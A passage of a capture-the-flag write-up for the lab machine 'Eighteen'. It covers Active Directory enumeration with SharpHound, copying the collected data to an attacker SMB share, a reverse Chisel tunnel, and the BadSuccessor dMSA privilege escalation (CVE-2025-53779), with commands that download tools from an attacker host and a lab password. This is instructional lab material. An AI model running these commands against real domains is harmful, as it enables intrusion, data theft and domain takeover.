    <span class="sh">'</span><span class="s">driver</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">{ODBC Driver 17 for SQL Server}</span><span class="sh">'</span><span class="p">,</span>
    <span class="sh">'</span><span class="s">TrustServerCertificate</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">True</span><span class="sh">'</span>
<span class="p">}</span> 
</code></pre></div></div>

<p>I’ve already had full access to the database. Nothing else super interesting here.</p>

<p>I’ll try to get OS information with <code class="language-plaintext highlighter-rouge">systeminfo</code>, but it fails for permissions issues. <code class="language-plaintext highlighter-rouge">Get-ComputerInfo</code> works:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="350"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\&gt; </span><span class="n">Get-ComputerInfo</span><span class="w">
</span><span class="go">

WindowsBuildLabEx                                       : 26100.1.amd64fre.ge_release.240331-1435
WindowsCurrentVersion                                   : 6.3
WindowsEditionId                                        : ServerDatacenter
WindowsInstallationType                                 : Server Core
WindowsInstallDateFromRegistry                          : 3/24/2025 3:38:13 AM
WindowsProductId                                        : 00491-60000-17651-AA131
WindowsProductName                                      : Windows Server 2025 Datacenter
WindowsRegisteredOrganization                           :
WindowsRegisteredOwner                                  :
WindowsSystemRoot                                       : C:\WINDOWS
WindowsVersion                                          : 2009
OSDisplayVersion                                        : 24H2
BiosCharacteristics                                     :
BiosBIOSVersion                                         :
BiosBuildNumber                                         :
BiosCaption                                             :
BiosCodeSet                                             :
BiosCurrentLanguage                                     :
BiosDescription                                         :
BiosEmbeddedControllerMajorVersion                      :
BiosEmbeddedControllerMinorVersion                      :
BiosFirmwareType                                        :
BiosIdentificationCode                                  :
BiosInstallableLanguages                                :
BiosInstallDate                                         :
BiosLanguageEdition                                     :
BiosListOfLanguages                                     :
BiosManufacturer                                        :
BiosName                                                :
BiosOtherTargetOS                                       :
BiosPrimaryBIOS                                         :
BiosReleaseDate                                         :
BiosSeralNumber                                         :
BiosSMBIOSBIOSVersion                                   :
BiosSMBIOSMajorVersion                                  :
BiosSMBIOSMinorVersion                                  :
BiosSMBIOSPresent                                       :
BiosSoftwareElementState                                :
BiosStatus                                              :
BiosSystemBiosMajorVersion                              :
BiosSystemBiosMinorVersion                              :
BiosTargetOperatingSystem                               :
BiosVersion                                             :
CsAdminPasswordStatus                                   :
CsAutomaticManagedPagefile                              :
CsAutomaticResetBootOption                              :
CsAutomaticResetCapability                              :
CsBootOptionOnLimit                                     :
CsBootOptionOnWatchDog                                  :
CsBootROMSupported                                      :
CsBootStatus                                            :
CsBootupState                                           :
CsCaption                                               :
CsChassisBootupState                                    :
CsChassisSKUNumber                                      :
CsCurrentTimeZone                                       :
CsDaylightInEffect                                      :
CsDescription                                           :
CsDNSHostName                                           :
CsDomain                                                :
CsDomainRole                                            :
CsEnableDaylightSavingsTime                             :
CsFrontPanelResetStatus                                 :
CsHypervisorPresent                                     :
CsInfraredSupported                                     :
CsInitialLoadInfo                                       :
CsInstallDate                                           :
CsKeyboardPasswordStatus                                :
CsLastLoadInfo                                          :
CsManufacturer                                          :
CsModel                                                 :
CsName                                                  :
CsNetworkAdapters                                       :
CsNetworkServerModeEnabled                              :
CsNumberOfLogicalProcessors                             :
CsNumberOfProcessors                                    :
CsProcessors                                            :
CsOEMStringArray                                        :
CsPartOfDomain                                          :
CsPauseAfterReset                                       :
CsPCSystemType                                          :
CsPCSystemTypeEx                                        :
CsPowerManagementCapabilities                           :
CsPowerManagementSupported                              :
CsPowerOnPasswordStatus                                 :
CsPowerState                                            :
CsPowerSupplyState                                      :
CsPrimaryOwnerContact                                   :
CsPrimaryOwnerName                                      :
CsResetCapability                                       :
CsResetCount                                            :
CsResetLimit                                            :
CsRoles                                                 :
CsStatus                                                :
CsSupportContactDescription                             :
CsSystemFamily                                          :
CsSystemSKUNumber                                       :
CsSystemType                                            :
CsThermalState                                          :
CsTotalPhysicalMemory                                   :
CsPhyicallyInstalledMemory                              :
CsUserName                                              :
CsWakeUpType                                            :
CsWorkgroup                                             :
OsName                                                  :
OsType                                                  :
OsOperatingSystemSKU                                    :
OsVersion                                               :
OsCSDVersion                                            :
OsBuildNumber                                           :
OsHotFixes                                              :
OsBootDevice                                            :
OsSystemDevice                                          :
OsSystemDirectory                                       :
OsSystemDrive                                           :
OsWindowsDirectory                                      :
OsCountryCode                                           :
OsCurrentTimeZone                                       :
OsLocaleID                                              :
OsLocale                                                :
OsLocalDateTime                                         :
OsLastBootUpTime                                        :
OsUptime                                                :
OsBuildType                                             :
OsCodeSet                                               :
OsDataExecutionPreventionAvailable                      :
OsDataExecutionPrevention32BitApplications              :
OsDataExecutionPreventionDrivers                        :
OsDataExecutionPreventionSupportPolicy                  :
OsDebug                                                 :
OsDistributed                                           :
OsEncryptionLevel                                       :
OsForegroundApplicationBoost                            :
OsTotalVisibleMemorySize                                :
OsFreePhysicalMemory                                    :
OsTotalVirtualMemorySize                                :
OsFreeVirtualMemory                                     :
OsInUseVirtualMemory                                    :
OsTotalSwapSpaceSize                                    :
OsSizeStoredInPagingFiles                               :
OsFreeSpaceInPagingFiles                                :
OsPagingFiles                                           :
OsHardwareAbstractionLayer                              :
OsInstallDate                                           :
OsManufacturer                                          :
OsMaxNumberOfProcesses                                  :
OsMaxProcessMemorySize                                  :
OsMuiLanguages                                          :
OsNumberOfLicensedUsers                                 :
OsNumberOfProcesses                                     :
OsNumberOfUsers                                         :
OsOrganization                                          :
OsArchitecture                                          :
OsLanguage                                              :
OsProductSuites                                         :
OsOtherTypeDescription                                  :
OsPAEEnabled                                            :
OsPortableOperatingSystem                               :
OsPrimary                                               :
OsProductType                                           :
OsRegisteredUser                                        :
OsSerialNumber                                          :
OsServicePackMajorVersion                               :
OsServicePackMinorVersion                               :
OsStatus                                                :
OsSuites                                                :
OsServerLevel                                           : ServerCore
KeyboardLayout                                          :
TimeZone                                                : (UTC-08:00) Pacific Time (US &amp; Canada)
LogonServer                                             :
PowerPlatformRole                                       : Desktop
HyperVisorPresent                                       :
HyperVRequirementDataExecutionPreventionAvailable       :
HyperVRequirementSecondLevelAddressTranslation          :
HyperVRequirementVirtualizationFirmwareEnabled          :
HyperVRequirementVMMonitorModeExtensions                :
DeviceGuardSmartStatus                                  : Off
DeviceGuardRequiredSecurityProperties                   :
DeviceGuardAvailableSecurityProperties                  :
DeviceGuardSecurityServicesConfigured                   :
DeviceGuardSecurityServicesRunning                      :
DeviceGuardCodeIntegrityPolicyEnforcementStatus         :
DeviceGuardUserModeCodeIntegrityPolicyEnforcementStatus :
</span></code></pre></div></div>

<p>The most interesting thing here is Windows Server 2025 Datacenter, running 24H2. That’s a very new OS, one not typically seen in the wild much yet (especially at the time of Eighteen’s release).</p>

<h4 id="active-directory">Active Directory</h4>

<p>I’ll grab a copy of <code class="language-plaintext highlighter-rouge">SharpHound.exe</code> from the <a href="https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart">BloodHound-CE Docker</a>, upload it to Eighteen, and run it:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\programdata&gt; </span><span class="n">wget</span><span class="w"> </span><span class="nx">http://10.10.14.61/SharpHound.exe</span><span class="w"> </span><span class="nt">-outfile</span><span class="w"> </span><span class="nx">sh.exe</span><span class="w">                                                
</span><span class="gp">evil-winrm-py PS C:\programdata&gt; </span><span class="o">.</span><span class="n">\sh.exe</span><span class="w"> </span><span class="nt">-c</span><span class="w"> </span><span class="nx">all</span><span class="w">
</span><span class="go">2026-04-08T21:29:20.4954961-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2026-04-08T21:29:20.6978229-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices, WebClientService, SmbInfo, NTLMRegistry
2026-04-08T21:29:20.7463509-07:00|INFORMATION|Initializing SharpHound at 9:29 PM on 4/8/2026
2026-04-08T21:29:20.9056006-07:00|INFORMATION|Resolved current domain to eighteen.htb
2026-04-08T21:29:32.2257883-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices, LdapServices, WebClientService, SmbInfo, NTLMRegistry
2026-04-08T21:29:32.3529066-07:00|INFORMATION|Beginning LDAP search for eighteen.htb
2026-04-08T21:29:32.5552238-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5552238-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5592428-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5750573-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5750573-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5770674-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5888660-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5908777-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.5986566-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.6026769-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.6066952-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.6087047-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:32.6169943-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.1505273-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.1545472-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3464017-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3544474-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3662566-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3662566-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3800713-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3938881-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.3958989-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4077009-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4097139-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4255439-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4255439-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4393527-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4393527-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4511501-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4531614-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4652206-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4669713-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4770168-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4790242-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.4888140-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.5224631-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.5264815-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.5561036-07:00|INFORMATION|Beginning LDAP search for eighteen.htb Configuration NC
2026-04-08T21:29:33.8642771-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.8662871-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.8763324-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.8841144-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9064530-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9157376-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9157376-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9197550-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9631787-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9631787-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9651861-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9651861-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:33.9671941-07:00|INFORMATION|[CommonLib ACLProc]Building GUID Cache for EIGHTEEN.HTB
2026-04-08T21:29:35.5950257-07:00|INFORMATION|Producer has finished, closing LDAP channel
2026-04-08T21:29:35.7319068-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2026-04-08T21:29:41.5232250-07:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2026-04-08T21:29:41.5568987-07:00|INFORMATION|Output channel closed, waiting for output task to complete
2026-04-08T21:29:41.7104926-07:00|INFORMATION|Status: 318 objects finished (+318 35.33333)/s -- Using 69 MB RAM
2026-04-08T21:29:41.7104926-07:00|INFORMATION|Enumeration finished in 00:00:09.3744354
2026-04-08T21:29:41.8059605-07:00|INFORMATION|Saving cache with stats: 17 ID to type mappings.
 0 name to SID mappings.
 1 machine sid mappings.
 3 sid to domain mappings.
 0 global catalog mappings.
2026-04-08T21:29:41.8458122-07:00|INFORMATION|SharpHound Enumeration Completed at 9:29 PM on 4/8/2026! Happy Graphing!
</span></code></pre></div></div>

<p>It creates a <code class="language-plaintext highlighter-rouge">.zip</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\programdata&gt; </span><span class="n">ls</span><span class="w"> </span><span class="nx">20260408212935_BloodHound.zip</span><span class="w">
</span><span class="go">
    Directory: C:\programdata

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          4/8/2026   9:29 PM          28860 20260408212935_BloodHound.zip  
</span></code></pre></div></div>

<p>I’ll create an SMB server on my host with <code class="language-plaintext highlighter-rouge">smbserver.py share . -smb2support -username oxdf -password oxdf</code>, and then exfil the BloodHound data out:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\programdata&gt; </span><span class="n">net</span><span class="w"> </span><span class="nx">use</span><span class="w"> </span><span class="nx">\\10.10.14.61\share</span><span class="w"> </span><span class="nx">/u:oxdf</span><span class="w"> </span><span class="nx">oxdf</span><span class="w">
</span><span class="go">The command completed successfully.
</span><span class="gp">evil-winrm-py PS C:\programdata&gt; </span><span class="n">copy</span><span class="w"> </span><span class="nx">20260408212935_BloodHound.zip</span><span class="w"> </span><span class="nx">\\10.10.14.61\share\</span><span class="w">
</span></code></pre></div></div>

<p>I’ll upload this to BloodHound, and start by marking adam.scott as owned. They don’t have any interesting outbound permissions:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260408173513249.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260408173513249.png" alt="image-20260408173513249" class="include_image " />
</picture>

<p>BloodHound didn’t capture the functional levels (shown as “unknown”). I can get that from the shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\&gt; </span><span class="n">Get-ADDomain</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Select</span><span class="w"> </span><span class="nx">Name</span><span class="p">,</span><span class="w"> </span><span class="nx">DomainMode</span><span class="w">
</span><span class="go">
Name            DomainMode
----            ----------
eighteen Windows2025Domain


</span><span class="gp">evil-winrm-py PS C:\&gt; </span><span class="n">Get-ADForest</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Select</span><span class="w"> </span><span class="nx">Name</span><span class="p">,</span><span class="w"> </span><span class="nx">ForestMode</span><span class="w">
</span><span class="go">
Name                ForestMode
----                ----------
eighteen.htb Windows2025Forest
</span></code></pre></div></div>

<p>It’s running at 2025, which means all the domain controllers in this network are running on the bleeding edge version. Typically even when rolling out a new OS version like this, the functional level lags behind because there may be older DCs still left, and even if not, it’s common to leave it older until there’s a feature that requires the newer level.</p>

<h3 id="bad-successor">Bad Successor</h3>

<h4 id="background">Background</h4>

<p>Researchers at Akamai identified an issue they named <a href="https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory">Bad Successor</a> that targets delegated Managed Service Accounts (dMSA), a feature that was added in Windows Server 2025. A dMSA account falls into the managed service account family:</p>

<table>
  <thead>
    <tr>
      <th>Type</th>
      <th>Introduced</th>
      <th>Purpose</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>sMSA (standalone)</td>
      <td>Server 2008 R2</td>
      <td>Auto-rotating password, tied to one machine</td>
    </tr>
    <tr>
      <td>gMSA (group)</td>
      <td>Server 2012</td>
      <td>Same, but shared across multiple machines</td>
    </tr>
    <tr>
      <td>dMSA (delegated)</td>
      <td>Server 2025</td>
      <td>Designed to replace legacy service accounts via a seamless migration</td>
    </tr>
  </tbody>
</table>

<p>Even today (almost a year after its release), searching for “Windows server 2025 exploit” returns the Akamai blog as the top answer:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260409115216832.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260409115216832.png" alt="image-20260409115216832" class="include_image " />
</picture>

<p>Microsoft originally said this wasn’t an issue, but after release did patch it, and Bad Successor got the CVE ID CVE-2025-53779.</p>

<p>BadSuccessor abuses the dMSA migration feature introduced in Windows Server 2025. When a legacy service account is “migrated” to a dMSA, the dMSA is linked to its predecessor via the <code class="language-plaintext highlighter-rouge">msDS-ManagedAccountPrecededByLink</code> attribute, and the KDC issues tickets for the dMSA containing the full authorization context (group memberships and SIDs) of the original account. This is done so that a freshly migrated dMSA can seamlessly take over wherever the old account was used.</p>

<p>The flaw is that the KDC never verifies that the migration was actually authorized. It trusts the link attribute at face value. As a result, any principal with CreateChild rights for <code class="language-plaintext highlighter-rouge">msDS-DelegatedManagedServiceAccount</code> objects on any OU (a permission that is not normally considered privileged) can create a dMSA, set its <code class="language-plaintext highlighter-rouge">msDS-ManagedAccountPrecededByLink</code> to point at a high-value target like Administrator, and request a TGT. The resulting ticket’s PAC contains Domain Admin group membership.</p>

<h4 id="checking-for-bad-successor">Checking for Bad Successor</h4>

<p>BloodHound should be able to check for this, but at the time of this blog post, most collectors don’t get the necessary information. SharpHound has <a href="https://github.com/SpecterOps/BloodHound/issues/2424">this open issue</a>.</p>

<p>Akamai created a <a href="https://github.com/akamai/BadSuccessor">PowerShell script to check for Bad Successor</a>. I can upload that and run it:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\programdata&gt; </span><span class="n">wget</span><span class="w"> </span><span class="nx">10.10.14.61/Get-BadSuccessorOUPermissions.ps1</span><span class="w"> </span><span class="nt">-outfile</span><span class="w"> </span><span class="nx">Get-BadSuccessorOUPermissions.ps1</span><span class="w">
</span><span class="gp">evil-winrm-py PS C:\programdata&gt; </span><span class="o">.</span><span class="n">\Get-BadSuccessorOUPermissions.ps1</span><span class="w">
</span><span class="go">
Identity    OUs                          
--------    ---                          
EIGHTEEN\IT {OU=Staff,DC=eighteen,DC=htb}
</span></code></pre></div></div>

<p>adam.scott is in the IT group:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\programdata&gt; </span><span class="n">whoami</span><span class="w"> </span><span class="nx">/groups</span><span class="w">
</span><span class="go">
GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                           Attributes                                        
========================================== ================ ============================================= ==================================================
Everyone                                   Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
EIGHTEEN\IT                                Group            S-1-5-21-1152179935-589108180-1989892463-1604 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192
</span></code></pre></div></div>

<h4 id="remote-test">Remote Test</h4>

<p>To exploit Bad Successor, I’ll:</p>

<ol>
  <li>Create a dMSA in <code class="language-plaintext highlighter-rouge">OU=STAFF</code>.</li>
  <li>Set two attributes:
    <ul>
      <li><code class="language-plaintext highlighter-rouge">msDS-ManagedAccountPrecededByLink</code> → DN of the target (e.g. CN=Administrator,CN=Users,DC=eighteen,DC=htb)</li>
      <li><code class="language-plaintext highlighter-rouge">msDS-DelegatedMSAState</code> → 2 (marks the migration as “complete”)</li>
    </ul>
  </li>
  <li>Request a TGT for the dMSA using a special <code class="language-plaintext highlighter-rouge">KERB-DMSA-KEY-PACKAGE</code> structure, and the resulting ticket will have the Administrator’s groups.</li>
</ol>

<p>There are a couple ways to do this in practice:</p>

<ul>
  <li>Much of it can be done in PowerShell, but it’s relatively complex.</li>
  <li>There’s a tool called <a href="https://github.com/logangoins/SharpSuccessor">SharpSuccessor</a> that will create the dMSA and make the malicious link (steps 1 and 2 above), where I could then use <a href="https://github.com/GhostPack/Rubeus">Rubeus</a> to get a TGT with the Administrator groups. This does suffer from a challenge similar to the double hop problem over WinRM.</li>
  <li>I can create a tunnel back to my host and use <a href="https://www.netexec.wiki/">NetExec</a> and <a href="https://github.com/SecureAuthCorp/impacket">Impacket</a> tools.</li>
</ul>

<p>I’ll go for the last option. I’ll start a local <a href="https://github.com/jpillora/chisel">Chisel</a> server, upload the Windows binary to Eighteen, and connect:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\programdata&gt; </span><span class="n">wget</span><span class="w"> </span><span class="nx">10.10.14.61/chisel_1.10.1_windows_amd64</span><span class="w"> </span><span class="nt">-outfile</span><span class="w"> </span><span class="nx">c.exe</span><span class="w">
</span><span class="gp">evil-winrm-py PS C:\programdata&gt; </span><span class="o">.</span><span class="n">/c.exe</span><span class="w"> </span><span class="nx">client</span><span class="w"> </span><span class="nx">10.10.14.61:8000</span><span class="w"> </span><span class="nx">R:socks</span><span class="w">
</span></code></pre></div></div>

<p>That command hangs, but on the server there’s a new tunnel:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>/opt/chisel/chisel_1.10.0_linux_amd64 server <span class="nt">-p</span> 8000 <span class="nt">--reverse</span>
<span class="go">2026/04/09 20:41:25 server: Reverse tunnelling enabled
2026/04/09 20:41:25 server: Fingerprint lxRd5GpReedSJhHRSbIYca+6DNip+iTcUnnWgoQyAyQ=
2026/04/09 20:41:25 server: Listening on http://0.0.0.0:8000
2026/04/09 20:42:15 server: session#1: Client version (1.10.1) differs from server version (1.10.0)
2026/04/09 20:42:15 server: session#1: tun: proxy#R:127.0.0.1:1080=&gt;socks: Listening
</span></code></pre></div></div>

<p>Now I can access SMB, LDAP, and other useful Windows DC ports:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains <span class="nt">-q</span> netexec smb dc01.eighteen.htb
<span class="netexec-protocol">SMB </span><span class="go">        224.0.0.1       445    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 x64 (name:DC01) (domain:eighteen.htb) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">netexec</code> can check for Bad Successor:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains <span class="nt">-q</span> netexec ldap dc01.eighteen.htb <span class="nt">-u</span> adam.scott <span class="nt">-p</span> iloveyou1 <span class="nt">-M</span> badsuccessor
<span class="netexec-protocol">LDAP </span><span class="go">       224.0.0.1       389    DC01             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows 11 / Server 2025 Build 26100 (name:DC01) (domain:eighteen.htb) (signing:Enforced) (channel binding:No TLS cert)
</span><span class="netexec-protocol">LDAP </span><span class="go">       224.0.0.1       389    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> eighteen.htb\adam.scott:iloveyou1 
</span><span class="nb">BADSUCCE... </span><span class="go">224.0.0.1       389    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> Found domain controller with operating system Windows Server 2025: 224.0.0.2 (DC01.eighteen.htb)
</span><span class="nb">BADSUCCE... </span><span class="go">224.0.0.1       389    DC01             </span><span class="netexec-logsuccess">[+]</span><span class="go"> Found 1 results
</span><span class="nb">BADSUCCE... </span><span class="go">224.0.0.1       389    DC01             IT (S-1-5-21-1152179935-589108180-1989892463-1604), OU=Staff,DC=eighteen,DC=htb
</span></code></pre></div></div>

<p>It finds the IT group just like <a href="#checking-for-bad-successor">above</a>.</p>

<h4 id="remote-exploit">Remote Exploit</h4>

<p>The code to actually exploit Bad Successor hasn’t been (at the time of this post) merged into <code class="language-plaintext highlighter-rouge">netexec</code>, but rather is in <a href="https://github.com/Pennyw0rth/NetExec/pull/1163">this PR</a>. I’ll clone that repo:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>git clone https://github.com/azoxlpf/NetExec.git
<span class="go">Cloning into 'NetExec'...
remote: Enumerating objects: 33682, done.
remote: Counting objects: 100% (11463/11463), done.
remote: Compressing objects: 100% (4109/4109), done.
remote: Total 33682 (delta 7536), reused 7367 (delta 7354), pack-reused 22219 (from 3)
Receiving objects: 100% (33682/33682), 16.22 MiB | 15.42 MiB/s, done.
Resolving deltas: 100% (26068/26068), done.
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>git checkout feat/refactor-badsuccessor 
<span class="go">branch 'feat/refactor-badsuccessor' set up to track 'origin/feat/refactor-badsuccessor'.
Switched to a new branch 'feat/refactor-badsuccessor'
</span></code></pre></div></div>

<p>Typically I could run this without installing it using <code class="language-plaintext highlighter-rouge">uvx</code>, but <code class="language-plaintext highlighter-rouge">proxychains</code> makes that tricky. I’ll <code class="language-plaintext highlighter-rouge">uv tool install .</code> (remembering to uninstall and reinstall the standard <code class="language-plaintext highlighter-rouge">netexec</code> after).</p>

<p>I’ll also need to make sure my date is in sync. I can’t just use <code class="language-plaintext highlighter-rouge">ntpdate</code>, as that works over UDP which doesn’t proxy through <code class="language-plaintext highlighter-rouge">proxychains</code>. I’ll get the date from PowerShell:</p>

